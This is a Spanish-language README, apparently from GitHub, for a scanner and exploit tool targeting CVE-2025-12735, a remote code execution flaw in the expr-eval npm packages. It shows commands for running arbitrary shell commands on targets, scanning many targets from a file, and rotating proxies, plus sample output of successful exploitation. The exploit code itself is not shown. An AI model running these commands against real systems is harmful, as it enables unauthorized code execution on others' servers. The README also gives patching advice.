
Herramienta de investigación de seguridad para detectar y probar CVE-2025-12735 (vulnerabilidad RCE de expr-eval)
Una herramienta de investigación de seguridad para detectar y probar la vulnerabilidad CVE-2025-12735 en los paquetes npm expr-eval y expr-eval-fork.
Esta herramienta es solo para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Utilice esta herramienta únicamente en sistemas de su propiedad o sobre los que tenga permiso explícito por escrito para realizar pruebas.
CVE-2025-12735 es una vulnerabilidad crítica de ejecución remota de código (RCE) en los paquetes npm expr-eval y expr-eval-fork. Esta vulnerabilidad permite a los atacantes definir funciones arbitrarias dentro del objeto context utilizado por el analizador, lo que posibilita la inyección de código malicioso que ejecuta comandos a nivel de sistema.
Puntuación CVSS: 9.8 (Crítico)
Versiones afectadas: expr-eval-fork < 3.0.0
expr-eval-fork v3.0.0+
# Clonar el repositorio
git clone https://github.com/AN5I/cve-2025-12735-expr-eval-rce.git
cd cve-2025-12735-expr-eval-rce
# Instalar dependencias
pip install -r requirements.txt
# Hacer el script ejecutable (opcional)
chmod +x uknf_cve_2025_12735_expr_eval_rce.py
# Descargar el script
wget https://raw.githubusercontent.com/AN5I/cve-2025-12735-expr-eval-rce/main/uknf_cve_2025_12735_expr_eval_rce.py
# Instalar dependencias
pip install requests
# Objetivo único
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com
# Ejecutar comando personalizado
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -c "whoami"
# Múltiples objetivos desde un archivo
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
# Con múltiples hilos para escaneo más rápido
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -t 5
# Salida detallada para depuración
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com -v
# Proxy único
python3 uknf_cve_2025_12735_expr_eval_rce.py -u http://target.com --proxy http://proxy:port
# Múltiples proxies desde un archivo
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
-u, --url URL del objetivo
-f, --file Archivo que contiene las URLs objetivo (una por línea)
-c, --command Comando a ejecutar (por defecto: id)
-t, --threads Número de hilos (por defecto: 1)
-o, --output Archivo de salida (por defecto: uknf_expr_eval_results.json)
-v, --verbose Activar registro detallado
--proxy URL del proxy (ej., http://127.0.0.1:8080)
--proxy-list Archivo que contiene URLs de proxy (una por línea)
El script genera un archivo JSON con resultados detallados:
{
"target": "http://target.com",
"timestamp": "2025-11-20T15:35:32.638109",
"expr_eval_detected": true,
"vulnerable": true,
"endpoint_found": true,
"exploitation_successful": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_endpoint": "/api/evaluate"
}
Si está utilizando expr-eval o expr-eval-fork:
Actualice inmediatamente:
npm install expr-eval-fork@latest
Aplique el parche de seguridad:
Implemente validación de entrada:
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com
# Crear archivo de objetivos
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Ejecutar escaneo
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt -o results.json
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com -c "uname -a"
# Proxy único
python3 uknf_cve_2025_12735_expr_eval_rce.py -u https://example.com --proxy http://127.0.0.1:8080
# Múltiples proxies desde un archivo
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 uknf_cve_2025_12735_expr_eval_rce.py -f targets.txt --proxy-list proxies.txt
¡Las contribuciones son bienvenidas! No dude en enviar un Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Si encuentra algún problema o tiene sugerencias, por favor abra un issue en GitHub.
Este proyecto está licenciado bajo la Licencia MIT - consulte el archivo LICENSE para más detalles.
Si encuentra útil esta herramienta, considere darle una estrella en GitHub.
Esta herramienta se proporciona solo con fines educativos y de pruebas de seguridad autorizadas. Los autores no son responsables del mal uso o daños causados por este programa. Los usuarios son responsables de asegurarse de tener la autorización adecuada antes de probar cualquier sistema.
Si encuentra útil esta herramienta y desea apoyar el proyecto:
Bitcoin (BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
Ethereum (ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
¡Gracias por su apoyo! 🙏